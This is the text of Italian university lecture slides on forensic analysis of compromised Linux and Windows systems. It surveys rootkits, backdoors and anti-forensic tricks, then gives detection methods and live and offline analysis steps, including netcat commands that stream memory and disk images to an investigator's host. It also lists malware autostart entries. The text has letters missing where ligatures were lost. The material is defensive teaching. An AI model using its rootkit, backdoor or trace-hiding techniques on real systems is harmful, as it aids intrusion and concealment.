Sei sulla pagina 1di 113

Analisi di sistemi compromessi (ricerca di rootkit, backdoor, ...

Massimo Bernaschi Istituto per le Applicazioni del Calcolo Mauro Picone Consiglio Nazionale delle Ricerche Viale Manzoni, 30 - 00185 Rome - Italy http://www.iac.cnr.it/ e-mail: m.bernaschi@iac.cnr.it materiale su http://www.iac.cnr.it/corsosec

M. Bernaschi: Analisi di sistemi compromessi

Referenze Ed Skoudis: Malware: ghting malicious code, Prentice Hall, ISBN: 0-13-101405-6.

M. Bernaschi: Analisi di sistemi compromessi

Tipica sequenza dattacco Sfruttando una vulnerabilit` a si ottiene un accesso anche non privilegiato. Si carica un exploit che permette di acquisire i privilegi di root (tipicamente nella forma di una shell interattiva). Si carica e si installa il rootkit che permette di nascondere le azioni svolte ed installare una backdoor per successivi accessi.

M. Bernaschi: Analisi di sistemi compromessi

Esempio di attacco

M. Bernaschi: Analisi di sistemi compromessi

M. Bernaschi: Analisi di sistemi compromessi

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

Rootkit I rootkit sono pacchetti software installati su sistemi compromessi per coprire le tracce della violazione e mantenere il controllo, possibilmente a distanza.

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

Funzionalit` a di un rootkit 1. Mantenere laccesso 2. Attaccare altri siti 3. Eliminare le tracce

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

Mantenere laccesso: le backdoor Il mantenimento dellaccesso avviene quasi sempre installando delle backdoor di vario tipo: ` una tecnica molto shell in ascolto su una porta TCP alta. E semplice il cui vantaggio ` e di non lasciare traccia nel log di sistema. Una variante ` e installare una versione troiana di un daemon che fornisca una shell se contattato su una porta diversa da quella di default. Unanalisi locale con netstat e/o lsof permette di inviduare abbastanza facilmente questo tipo di backdoor. netstat -na lsof -i Unanalisi remota pu` o essere eettuata con nmap.
9

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

Un semplice miglioramento della tecnica precedente si ottiene usando ssh su una porta diversa da quella di default (22). In questo modo il traco ` e criptato rendendo pi` u complessa la rilevazione da parte di un Intrusion Detection System. La tecnica di rilevazione ` e simile alla precedente. UDP listener: i servizi UDP sono molto pi` u complessi da rilevare. Non esistono protocolli standard per laccesso remoto basati su UDP ma ` e possibile implementare un supporto minimale con un sforzo molto ridotto. ICMP telnet: ` e possibile incapsulare i comandi e le risposte di una sessione telnet nel payload di pacchetti ICMP (vedi il tool Loki). Questo tipo di backdoor non ` e visibile con netstat o nmap. Il traco ICMP, inoltre, ` e in genere consentito dalla maggior parte dei rewall. Una possibilit` a di rilevazione ` e lanalisi del payload dei pacchetti
10

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

ICMP. CGI shell: permettono lesecuzione di comandi con i privilegi dellutente nobody o httpd. Loutput compare nel browser dellattaccante. Reverse shell/telnet: Una backdoor che apre una connessione DA una macchina vittima AD una macchina dellattaccante, non richiede nessuna porta in ascolto e normalmente un rewall ` e pi` u permissivo in uscita. La connessione pu` o essere cifrata in vari modi (cryptcat, stunnel,...). Un ulteriore ranamento ` e possibile con una reverse http shell. In questo caso lhttp shell imita una connessione da un browser verso un web server esterno. La connessione appare perfettamente legale anche ai proxy server. La backdoor pu` o
11

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

essere attivata o con speciali pacchetti o, in maniera ancora pi` u invisibile, da un timer. No-listener backdoor (basate su snier). La backdoor non apre una porta, ma inizia ad intercettare il traco di rete. Quando riceve uno specico pacchetto (non indirizzato alla macchina con la backdoor), esegue unazione ed invia una risposta. La risposta ` e inviata usando un indirizzo sorgente IP fasullo in modo che la comunicazione non possa essere tracciata allindietro (a meno di non analizzare il traco a livello 2). Questo tipo di backdoor ` e estremamente dicile da individuare ed inizia a comparire nei rootkit pi` u recenti.

12

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

13

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

` interessante notare come i rootkit pi` E u avanzati cerchino spesso di coprire le falle di sicurezza trovate in un sistema per impedire ad altri attaccanti di prendere a loro volta il controllo.

14

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

Setiri Setiri ` e un esempio di una categoria di troiani/backdoor per Windows estremamente dicile da rilevare che sfrutta: la tecnologia Object Linking and Embedding (OLE) per interagire con lInternet Explorer della macchina vittima; la possibilit` a di usare Internet Explorer in modalit` a invisibile, cio` e senza che compaia nulla che lutente possa rilevare. Setiri supporta solo tre comandi: i) caricare un le; ii) eseguire un programma; iii) scaricare un le. Setiri usa una nestra invisibile per interrogare il connection-broker su possibili comandi da eseguire ad intervalli periodici di tempo; notare come non ` e pi` u la backdoor ad agire come browser ma
15

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

direttamente IE che scarica dal web server di appoggio i comandi inviati dallattaccante.

16

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

Attacchi ad altri siti Strumenti per automatizzare gli attacchi a nuovi sistemi compaiono nei rootkit verso la ne degli anni 90. La maggior parte dei rootkit contiene un semplice password snier (ad esempio linsniff per Linux) che permette di intercettare le password di tutti i protocolli che trasmettono in chiaro. Spesso il comando ifconfig viene sostituito con un troiano che nasconde il ag PROMISC. Attacchi verso sistemi remoti sono possibili con gli autorooters.

17

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

Eliminazione delle tracce Rimuovere le prove signica soprattutto manipolare i le di log, le shell history ed i le utilizzati per laccounting. Per Linux/Unix: /var/log/messages, /var/log/secure, .... Per Windows: Event Viewer. Attenzione! La pulizia del Security Log genera un evento il cui ID ` e 517. Loccultamento delle tracce e delle backdoor ` e larea dove luso di rootkit basati sulla manipolazione del nucleo del sistema operativo sta prendendo sempre pi` u piede.

18

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

In questo caso ` e il sistema operativo stesso che non ` e pi` u adabile! Un rootkit di questo tipo ha spesso un le di congurazione nascosto. Il rootkit nasconde i propri les, i processi dellattaccante, speciche connessioni di rete.

19

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

Categorie di rootkit Possiamo identicare tre classi principali di rootkit: Binary Library Kernel sono inoltre comuni anche combinazioni di queste categorie.

20

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

Binary Rootkit I primi rootkit sostituivano programmi critici come /bin/login o i daemon che forniscono servizi di rete. La protezione costituita dal controllo della checksum del le veniva facilmente superata con programmi come checksum-fix. Per quanto riguarda i timestamp ` e suciente il comando touch -r file troiano per avere per il troiano gli stessi timestamp del le originale. Le azioni svolte dai programmi troiani includevano: accesso remoto, accesso come utente privilegiato, occultamento di le, processi, connessioni di rete ed in genere dellattivit` a dellattaccante. I le necessari al rootkit venivano nascosti in directory con nomi
21

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

quali: /dev/.hdd /etc/... oppure \WINDOWS\SYSTEM32\SYSTEM Ricordare che sotto Linux possono essere utilizzati nei nomi delle directory e dei le anche caratteri speciali (non visibili)! Sotto Windows possono inoltre essere utilizzati gli Alternate Data Stream. Spesso, per il mantenimento di un accesso privilegiato locale, lattaccante sostituisce un programma setuid esistente con una versione troiana che fornisce accesso privilegiato on-demand. La classica tecnica di lasciare una copia di una shell setuid in una locazione nascosta pu` o essere facilmente contrastata con periodici controlli di integrit` a del le system.
22

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

Library Kit I rootkit che sfruttano librerie di sistema non sostituiscono i programmi binari. Un esempio famoso di rootkit di questo tipo ` e T0rn8. Ad esempio, t0rn sostituisce la libreria libproc.a che permette a programmi come ps e top di accedere alle informazioni sui processi. Queste stesse informazioni sono disponibili nel le system /proc. Una dierenza tra loutput del comando ps ed il contenuto del le system proc deve sicuramente essere considerata sospetta. Tecniche simili possono essere applicate a librerie anche pi` u fondamentali come la libc. Invece di sostituire la libreria, ` e possibile modicare il le /etc/ld.so.conf che stabilisce lordine di ricerca delle librerie
23

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

in modo che venga caricata la libreria troiana. sotto Windows possono essere sostituite le .dll. Ad esempio, le .dll che forniscono laccesso ai servizi di sistema: Kernel32.dll, User32.dll, Gdi32.dll, Advapi32.dll pi` u la Ntdll.dll che si trovano tutte in %SYSTEMROOT%\system32\. Un rootkit pu` o modicare lImport Address Table di un eseguibile Windows in modo da puntare a funzioni del rootkit invece di quelle della Kernel32.dll. In caso di sospetto si pu` o tracciare lesecuzione sotto Linux con strumenti come strace (caricato da CD...). Una versione di strace per Windows ` e disponibile su: http://razor.bindview.com/tools/desc/strace_readme.html
24

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

Kernel rootkit (Linux) I kernel kit utilizzano quasi sempre Loadable Kernel Module. Comunque, come descritto nellarticolo http://www.phrack.org/p58/phrack-0.9, ` e possibile modicare il comportamento del kernel accedendo direttamente /dev/kmem. La tecnica pi` u semplice ` e sostituire le system call legali con funzioni troiane reso pi` u dicile (ma non impossibile...) dalla decisione di non esportare la tabella delle system call.

25

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

Un rootkit Linux: SucKIT Una descrizione ` e disponibile sul phrack58, articolo 0x07 http://www.phrack.org. backdoor basata su una reverse shell attivata su una porta determinata dal client; nessuna porta apparentemente attiva sulla macchina compromessa; la macchina compromessa riceve le informazioni attraverso un raw socket; normalmente SucKIT ` e lanciato come /sbin/init quando il sistema ` e inizializzato; si installa nel kernel (scrivendo direttamente su /dev/kmem);
26

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

fa partire la backdoor; fa partire una copia del processo init originario; le esecuzioni successive sono ridirezionate allinit originario; Il punto di partenza per la rilevazione di un rootkit come SucKIT ` e lutilizzo del le system /proc accoppiato ad uno strumento come module hunter.o

27

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

Kernel rootkit (Windows) Data la complessit` a del kernel Windows ci sono diverse alternative per sovvertirne il funzionamento: uso di device driver maliziosi; alterazione del kernel in memoria; sovrascrivere limmagine del kernel su disco; cercare di girare codice utente allinterno del kernel. Device Driver maliziosi: un device driver ` e unentit` a molto generica in Windows e, sotto molti punti di vista, pu` o essere considerato equivalente ad un Loadable Kernel Module. Windows supporta la rma digitale dei device drivers ma un
28

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

attaccante pu` o comunque richiedere il caricamento di un device driver non rmato. Dopo che il Device Driver Malizioso (DDM) ` e caricato nel kernel, pu` o essere reso operativo in diversi modi:

29

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

1. Il DDM pu` o semplicemente sovrascrivere funzionalit` a esistenti del kernel; 2. Pu` o alterare la System Service Dispatch Table in modo che punti al proprio codice invece che al codice genuino del kernel contenuto in Ntoskrnl.exe. 3. Pu` o modicare la maniera in cui il kernel gestisce gli interrupt di CPU. Un esempio di DDM che combina le tecniche 1 e 2 ` e Slanret: Usa un le chiamato Ierk8243.sys e crea un dispositivo chiamato Mp437bba8e. Modica il kernel in modo da nascondere le, chiavi di registro e porte per le applicazioni che richiedono questi servizi. utilizzato per nascondere in particolare la backdoor Krei; in ascolto sulla porta TCP 449. Slanret NON nasconde se stesso dalla lista dei device driver.
30

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

1. Click Start, puntare a Programmi, puntare ad Accessori, puntare a Utilit` a di Sistema, click System Information. Appare la nestra Microsoft System Information. 2. Nel pannello di sinistra, doppio-click Ambiente Software, click Drivers.

31

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

Alterazione dellimmagine del kernel: Un attaccante pu` o anche modicare direttamente limmagine in memoria del kernel sfruttando una tecnica descritta nel numero 55 di http://www.phrack.org. La tecnica si basa sulla manipolazione della Global Descriptor Table (GDT) che descrive come la memoria ` e divisa in vari segmenti. Viene aggiunto un nuovo segmento che copre tutto il range di memoria. In questo modo ` e possibile modicare il kernel in modo da disabilitare tutti i controlli di sicurezza. Per questo ` e suciente sovrascrivere 4 byte! (modicando laccesso alla funzione SeAccessCheck).

32

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

Un meccanismo pi` u sosticato di manipolazione ` e presentato in un successivo numero della stessa rivista phrack (il 59). Viene utilizzato il kernel-object \Device\Physical\Memory (lequivalente del /dev/(k)mem di Unix/Linux) Questo speciale device pu` o essere studiato con il tool PhysMem disponibile sul sito www.sysinternals.com Un kernel rootkit didattico particolarmente semplice da congurare ` e NT Rootkit, disponibile su http://www.rootkit.com: il rootkit nasconde le, chiavi di registro o processi che iniziano con la stringa root ; da sottolineare come i processi nascosti riescano a vedere gli altri processi nascosti!

33

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

Da Windows XP SP2 in poi ` e stato introdotto un meccanismo di hot-patching che permette linserimento di nuovo codice senza eettuare il reboot!

34

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

Un rootkit Windows: BackOrice Sotto Windows una categoria di Rootkit molto pericolosi sono i Remote Administration Trojans (RAT) che permettono ad un attaccante di prendere il completo controllo di un PC. I RAT hanno due parti: server e client. La parte server ` e caricata sui sistemi compromessi. La parte client ` e utilizzata dallattaccante per inviare comandi e ricevere risposte dai server. Un RAT molto popolare ` e Back Orice (BO). Rilasciato nellAgosto del 1998 dal gruppo di hacker Cult of the Dead Cow (http://www.cultdeadcow.com) ` e attualmente disponibile da http://www.bo2k.com/. Tra le caratteristiche: una GUI, comunicazione client-server
35

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

cifrata con Triplo-DES, aggiornamento remoto, un kit di sviluppo software che permette di scrivere plug-in. La GUI permette di congurare il server che verr` a installato sul PC vittima. Il programma server non appare nella lista dei task oppure appare con il nome di un programma legale. Una delle porte utilizzate da BO ` e la 31337. Attraverso i comandi inviati a questa porta, lattaccante pu` o anche registrare tutto ci` o che viene inserito da tastiera nel PC vittima (keystroke logging).

36

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

Rilevazione di un rootkit Rilevare e rimuovere un worm o un Troiano ` e pi` u dicile che rimuovere altri tipi di codice malizioso. Con un virus ` e in genere suciente girare uno scanner aggiornato in grado di riconoscere il virus. I Troiani ed i worm hanno capacit` a molto maggiori ed ` e necessario rilevare tutti i cambiamenti inaspettati nel sistema vittima (nuovi les, nuove porte TCP/IP, nuovi programmi di startup, cambiamenti al Registry).

37

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

Tecniche di rilevazione dei rootkit Windows 1. Rilevazione basata su rme: Simile ai metodi usati per la rilevazione di virus (ormai quasi tutti gli antivirus includono queste funzionalit` a). Vengono ricercate delle sequenze di byte tipiche di rootkit gi` a noti. Possono essere applicate alla memoria del sistema oltre che al lesystem. Inecaci contro rootkit come Shadow Walker che modicano il comportamento del Virtual Memory Manager controllando la memoria letta durante lo scanning.

38

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

2. Rilevazione basata sul comportamento del sistema: Individuano deviazioni dal comportamento normale di un sistema VICE, disponibile su http://www.rootkit.com installa un device driver per analizzare sia le applicazioni utente che il kernel del sistema operativo. richiede il framework .NET genera, con una certa facilit` a, falsi positivi. Il sito http://freeware.wikia.com/wiki/Lists_of_freeware_antirootkit riporta una lista di strumenti (gratuiti) per la rilevazione di rootkit.

39

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

3. Rilevazione basata su controlli di consistenza delle informazioni ritornate dal sistema operativo. Normalmente esiste pi` u di un metodo per ottenere le stesse informazioni. Il risultato della richiesta tramite lAPI uciale di sistema pu` o essere confrontato con le risposte fornite da metodi alternativi di basso livello, come laccesso diretto alla struttura del lesystem su disco oppure ai le che costituiscono i diversi hives del Registry. Blacklight, prodotto della F-Secure disponibile su http://www.europe.f-secure.com/exclude/blacklight/blbeta.exe. Strider GhostBuster, un tool della Microsoft. Tutte le soluzioni di questo tipo sono valide no a quando gli autori dei rootkit non riescono a manipolare i risultati dei controlli di basso livello.
40

M. Bernaschi: Analisi di sistemi compromessi

Rootkit

4. Rilevazione basata sul controllo dellintegrit` a. Paragona le informazioni raccolte sul lesystem o sulla memoria con quelle corrispondenti di un sistema considerato adabile. Uno strumento classico di questa categoria ` e Tripwire, ormai diventato un prodotto commerciale: http://www.tripwire.com. 5. Rilevazione basata su hardware dedicato Copilot ` e una scheda PCI dotata di una CPU propria che accede via DMA alla memoria del sistema da tenere sotto controllo.

41

M. Bernaschi: Analisi di sistemi compromessi

Tool Linux/Windows

Alcuni strumenti utili nc: (netcat)


http://www.vulnwatch.org/netcat/nc110.tgz

Permette il trasferimento di dati via rete (cat su rete). dd: http://www.gnu.org/software/leutils/leutils.html Trasferisce un usso di dati, usato per la creazione di immagini di disco. netstat, arp, route: Disponibili sia sotto Linux che sotto Windows. Permettono di raccogliere informazioni sullutilizzo della rete. lsof: Uno strumento Unix/Linux fondamentale per avere informazioni su tutti i le (in senso esteso) utilizzati da tutti i processi. module hunter.o: http://www.phrack.org/phrack/61/p61-0x03_Linenoise.txt
42

M. Bernaschi: Analisi di sistemi compromessi

Tool Linux/Windows

dmesg: Mostra i messaggi inviati dal kernel sia durante il boot che durante, ad esempio, il caricamento di moduli. Questi strumenti dovrebbero essere caricati su un CD per unanalisi a caldo del sistema compromesso. Esistono gi` a pronti allo scopo: CAINE: http://www.caine-live.net/ GNU/Linux Forensic Boot CD: http://www.lnx4n6.be/ Attenzione alle distribuzioni live classiche! (tipo Knoppix) perch e possono alterare il disco.

43

M. Bernaschi: Analisi di sistemi compromessi

Tool Linux/Windows

Una serie di strumenti tipici Unix/Linux (e.g., grep, find,...) sono stati portati in ambiente Windows allinterno del progetto gnuwin32: https://sourceforge.net/projects/gnuwin32. Unalternativa pi` u semplice, anche se i singoli pacchetti sono meno aggiornati, ` e disponibile da http://unxutils.sf.net. I seguenti comandi Unix/Linux per Windows:
dd.exe; md5sum.exe; wipe.exe (sterilizza un disco); Volume dump.exe (fornisce informazioni su un volume); nc.exe.

sono disponibili su http://users.erols.com/gmgarner/forensics/

44

M. Bernaschi: Analisi di sistemi compromessi

Tool specici Windows

TCPView disponibile su http://www.sysinternals.com/ntw2k/source/tcpview.shtml mostra informazioni dettagliate su porte TCP e UDP (compresi i nomi dei processi che utilizzano le porte). DumpReg disponibile su http://www.systemtools.com/somarsoft/ eettua un dump del Registry che permette di eettuare pi` u facilmente ricerche, ad esempio, delle ultime chiavi inserite o modicate. Per la ricerca di testi allinterno di documenti di diverso tipo: http://www.dtsearch.com/

45

M. Bernaschi: Analisi di sistemi compromessi

Parte I: analisi a caldo

Analisi di sistemi Linux compromessi Salvare tutta la sessione di analisi (comandi/output) con il comando script. Loutput pu` o essere ri-diretto anche ad un altro sistema con il comando nc (vedi esempi che seguono). 1. Salvare le informazioni base sugli accessi ed i processi attivi: last, ls -lat in directory critiche, ps auxwww o ps elfwww, lsof, e utilizzare ltrace e strace per questi stessi comandi. 2. Salvare il contenuto delle cache arp e route:
(remoto) nc -l -p port > arp compromised (compromesso) /mnt/cdrom/arp -an | /mnt/cdrom/nc (ip remote) port e (remoto) nc -l -p port > route compromised
46

M. Bernaschi: Analisi di sistemi compromessi

Parte I: analisi a caldo

(compromesso) /mnt/cdrom/route -Cn | /mnt/cdrom/nc (ip remote) port

3. Raccogliere le informazioni sulle connessioni attive:


(remoto) nc -l -p port > connections compromised (compromesso) /mnt/cdrom/netstat -an | /mnt/cdrom/nc (ip remote) port

Il risultato dovrebbe essere confrontato con quello fornito da uno scanning remoto eettuato con nmap -sS e nmap -sU. 4. Eettuare una copia della memoria sica (` e preferibile utilizzare il le kcore perch e` e in formato ELF)
(remoto) nc -l -p port > kcore compromised (compromesso) /mnt/cdrom/dd < /proc/kcore | /mnt/cdrom/nc (ip remote) port

5. Identicare i moduli caricati


(remoto) nc -l -p port > lkms compromised (compromesso) /mnt/cdrom/cat /proc/modules | /mnt/cdrom/nc
47

M. Bernaschi: Analisi di sistemi compromessi

Parte I: analisi a caldo

(ip remote) port

per rilevare eventuali moduli nascosti (rootkit):


(compromesso) /mnt/cdrom/insmod -f /mnt/cdrom/module hunter.o (remoto) nc -l -p port > modules hunter compromised (compromesso) /mnt/cdrom/cat /proc/showmodules && /mnt/cdrom/dmesg | /mnt/cdrom/nc (remote) port

e si confrontano i risultati (soprattutto le dimensioni dei moduli). 6. Raccogliere informazioni su processi, porte aperte e le:
(remoto) nc -l -p port > lsof output (compromesso) /mnt/cdrom/lsof -n -P -l | /mnt/cdrom/nc (remote) port processi da controllare sono quelli in attesa (stato LISTEN) su una porta TCP/UDP insolita oppure su un raw socket; running ma di cui non esiste il le eseguibile (` e stato rimosso); fatti partire da un utente che non esiste.
48

M. Bernaschi: Analisi di sistemi compromessi

Parte I: analisi a caldo

` possibile copiare tutta la memoria utilizzata da un processo 7. E sospetto:


(remoto) nc -l -p port > proc id compromised (compromesso) /mnt/cdrom/pcat pid | /mnt/cdrom/nc (remote) port

8. Utilizzare il comando strings per estrarre tutte le stringhe dallimmagine del kernel o di singoli processi e da queste ottenere informazioni su indirizzi IP, comandi, nomi di le e directory:
strings -td kcore > kcore strings $ grep -e "\/proc\/" -e "\/bin\/" -e "\/bin\/.*?sh" kcore_strings $ grep -e "[0-9]\+\.[0-9]\+\.[0-9]\+\.[0-9]\+" kcore_strings $ grep -e "ftp" -e "root" kcore_strings ...

49

M. Bernaschi: Analisi di sistemi compromessi

Parte I: analisi a caldo

9. Per recuperare le cancellati ma ancora tenuti aperti da un processo si pu` o utilizzare il le system /proc. Ad esempio se lsof riporta:
smbd 3137 root 20w REG 8,1 253 46934 /var/log/httpd/access_log (deleted) ` e possibile recuperare il le nel seguente modo: (remoto) nc -l -p port > ls from 3137 (compromesso) /mnt/cdrom/ls -la /proc/3137/fd/ | /mnt/cdrom/nc (remote) port individuato il le nella lista (supponiamo corrisponda al le descriptor 12): (remoto) nc -l -p port > deleted access log (compromesso) /mnt/cdrom/cat /proc/3137/fd/12 | /mnt/cdrom/nc (remote) port

50

M. Bernaschi: Analisi di sistemi compromessi

Parte I: analisi a caldo

Esercizio di recupero del le: 1. Aprire due nestre 2. (prima nestra) cp /var/log/messages /tmp/messages 3. (prima nestra) tail -f /tmp/messages 4. (seconda nestra) rm /tmp/messages 5. (seconda nestra) ls -t /tmp (controllare come il le non compare) 6. (seconda nestra) ps -ef | grep tail (per individuare il pid del processo che ` e il valore nella prima colonna) 7. (seconda nestra) cd /proc/pid/fd 8. (seconda nestra) ls -l (per individuare il descrittore del le cancellato) 9. (seconda nestra) cat fd > /tmp/messages.rec (recupera il contenuto).

51

M. Bernaschi: Analisi di sistemi compromessi

Parte II: analisi o-line

staccare la spina senza fare shutdown? Eettuare una copia immagine del disco e lavorare SOLO su questa copia. Il comando da utilizzare ` e dd o le sue varianti. Per eettuare la copia in remoto: Sul destinatario: nc -l -p 1234 | gzip -d > /tmp/DiskImage Sulla sorgente: dd if=/dev/hda4 | gzip | nc XXX.YYY.WWW.ZZZ 1234 gzip non ` e strettamente necessario ma pu` o essere utile per ridurre i dati da trasferire. ` possibile utilizzare dcfldd per ottenere direttamente la E rma digitale (sia MD5 che SHA1) della copia: dcfldd hash=sha1,md5 if=/dev/hda4 ... dcdd ha molte opzioni, ad esempio per ottenere rme su gruppi di blocchi, etc.
52

M. Bernaschi: Analisi di sistemi compromessi

Parte II: analisi o-line

In altri casi (quando si sospetta che il dispositivo sia danneggiato) si pu` o/deve ricorrere a ddrescue che eettua tentativi multipli in caso di errore e fornisce una lista degli errori incontrati. Identicare le partizioni sul drive (ad esempio con fdisk disponibile su Linux) e generare una checksum con MD5 (o SHA1) delle singole partizioni Se necessario montare il disco o la partizione read-only su un ` opportuno usare anche le opzioni nodev e sistema dato. E noexec. Il comando di mount potrebbe quindi essere del tipo: # mount -o ro,noexec,nodev /dev/hda1 /victim Iniziare controllando il le /etc/passwd per la presenza di utenti inaspettati. Anche se non privilegiati, utenti il cui UID ` e sensibilmente
53

M. Bernaschi: Analisi di sistemi compromessi

Parte II: analisi o-line

diverso da quello degli altri dovrebbero essere controllati (normalmente lUID ` e assegnato in maniera sequenziale). Se vengono individuati le sospetti nelle home dir di questi utenti, utilizzare il comando strings per estrarre le stringhe di caratteri contenute. tipici le sospetti sono quelli eseguibili di cui non si trova il corrispondente codice sorgente. Una directory da analizzare con attenzione ` e /dev. Tutti i le regolari dovrebbero essere controllati. Ad esempio con il comando: ls -altR /dev | egrep "^-" si individuano tutti i le sospettabili. Oltre al comando strings sui le eseguibili sospetti si possono applicare i due comandi: nm e ldd.
54

M. Bernaschi: Analisi di sistemi compromessi

Parte II: analisi o-line

nm rivela i simboli utilizzati nelleseguibile, a meno che leseguibile non sia stato strippato (il che, per applicazioni utente, rappresenta gi` a unanomalia) ldd indica quali sono le librerie dinamiche utilizzate. Quando ` e necessaria unanalisi pi` u sosticata si pu` o ricorrere al Coroners Toolkit o allo Sleuthkit.

55

M. Bernaschi: Analisi di sistemi compromessi

Parte I: analisi a caldo

Analisi di sistemi Windows compromessi 1. Utilizzare, dove possibile, la linea comandi. Ad esempio:
cd C:%SYSTEMDIR%\system32 dir /a /o:d

mostra la lista le (compresi quelli nascosti) ordinata per data. 2. Controllare la storia dei comandi inseriti dal prompt DOS con doskey /history. 3. Controllare la lista delle associazioni tra estensione e programma che si ottiene con il comando assoc; 4. Controllare i comandi programmati per essere attivati periodicamente con il comando at o schtasks; 5. Controllare lesistenza di entry inaspettate nel le di risoluzione locale degli indirizzi IP:
56

M. Bernaschi: Analisi di sistemi compromessi

Parte I: analisi a caldo

%windir%\system32\drivers\etc\hosts 6. Controllare i le critici rispetto a quelli di backup contenuti in %SYSTEMDIR%\system32\dllcache. File compromessi (o cancellati) possono essere recuperati con il comando sfc. 7. Il contenuto della memoria sica pu` o essere copiato con il comando: dd if=\\.\physicalmemory of=c:\win2k-physmem.dd bs=4096 8. Il contenuto in memoria di un singolo task pu` o essere estratto con pmdump disponibile da http://www.ntsecurity.nu/toolbox/pmdump/ 9. Il contenuto della clipboard pu` o essere stampato a schermo con pclip disponibile dal http://unxutils.sourceforge.net/ 10. Utilizzare i comandi:
57

M. Bernaschi: Analisi di sistemi compromessi

Parte I: analisi a caldo

handle (lista degli handle utilizzati da tutti i processi); pslist (informazioni sui processi attivi sul sistema. Particolarmente utile lopzione /t che mostra lalbero dei task). listdlls (lista le DLL utilizzate dai diversi processi e la linea comandi utilizzata per far partire un programma). questi comandi sono reperibili su http://www.sysinternals.com 11. Controllare i le di startup. Un programma che non infetta altri eseguibili deve farsi caricare in memoria quando il PC vittima parte. Il System Conguration Editor SYSEDIT.EXE permette di analizzare velocemente i le di startup. In SYSTEM.INI controllare la linea SHELL= nella sezione
58

M. Bernaschi: Analisi di sistemi compromessi

Parte I: analisi a caldo

[boot]. Sulla maggior parte dei sistemi dovrebbe essere SHELL=EXPLORER.EXE. Un sistema compromesso potrebbe avere una linea con SHELL=EXPLORER.EXE NETLOG1.EXE (dove NETLOG1.EXE ` e il Troiano The Thing). In WIN.INI controllare le linee RUN= e LOAD= nella sezione [windows] Il worm ExplorerZip aggiunge
RUN=C:\WINDOWS\SYSTEM\EXPLORER.EXE RUN=C:\WINDOWS\_SETUP.EXE

in WIN.INI. I nomi e le locazioni sembrano ragionevoli ma in realt` a sono illegali. Controllare il Windows Startup group, che si trova in C:\WINDOWS\Start Menu\Programs\StartUp Controllare i le .BAT nella directory Windows 12. Controllare \Windows\Prefetch che contiene informazioni sulle applicazioni usate pi` u frequentemente.
59

M. Bernaschi: Analisi di sistemi compromessi

Parte I: analisi a caldo

13. Controllare \Documents and Settings\XYZ\Recent che contiene informazioni sui documenti pi` u recenti. 14. Pi` u in generale controllare quelle cartelle che normalmente sono nascoste. Ad esempio in \Documents and Settings\XYZ

60

M. Bernaschi: Analisi di sistemi compromessi

Parte I: analisi a caldo

61

M. Bernaschi: Analisi di sistemi compromessi

Parte I: analisi a caldo

Attenzione perch e con Windows Vista la locazione di molte cartelle speciali ` e cambiata! Una lista delle corrispondenze ` e disponibile su http://msdn.microsoft.com/en-us/library/bb762584(VS.85).aspx

Una lista delle rme digitali di molti prodotti software ` e disponibile dalla National Software Reference Library: http://www.nsrl.nist.gov

62

M. Bernaschi: Analisi di sistemi compromessi

Parte I: analisi a caldo

Analisi del Registry Una guida introduttiva utile alluso del Registry ` e disponibile su
http://www.winguides.com/registry/

REGEDIT.EXE o REGEDT32.EXE (ma non solo) permettono di analizzare il Registry. Il Registry ` e un database gerarchico che ha preso il posto dei vecchi le di congurazione CONFIG.SYS, WIN.BAT, SYSTEM.INI, WIN.INI. Le diverse sezioni del Registry sono mantenute allinterno di normali le. Ad esempio, gli hive persistenti sono localizzati in %SYSTEMROOT%\system32\config: HKEY_LOCAL_MACHINE\System risiede nel le System mentre HKEY_LOCAL_MACHINE\Software risiede nel le Software.
63

M. Bernaschi: Analisi di sistemi compromessi

Parte I: analisi a caldo

Nel le NTUSER.DAT residente nel Documents and Settings di ogni utente sono contenute le informazioni personali. Tutte le chiavi del Registry hanno associato un valore LastWrite simile al tempo di ultima modica di un le. In genere, come accade per i le, non ` e semplice sapere in che modo ` e stata modicata la chiave (cio` e quale valore aveva). Esiste per` o unimportante eccezione costituita dalle liste Most Recently Used. Sono molte le chiavi del Registry che vanno controllate. In particolare tutte le chiavi note come autostart che permettono di lanciare applicazioni in maniera automatica. Ad esempio
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

permette ad un codice malizioso di essere riattivato ogni volta che parte Windows. Mentre
HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun
64

M. Bernaschi: Analisi di sistemi compromessi

Parte I: analisi a caldo

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

permettono di lanciare unapplicazione (maliziosa) ogni volta che viene invocato il processore di comandi cmd.exe. Ed ancora
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

permette di caricare le DLL specicate ogni volta che viene lanciata unapplicazione della GUI. Inne con:
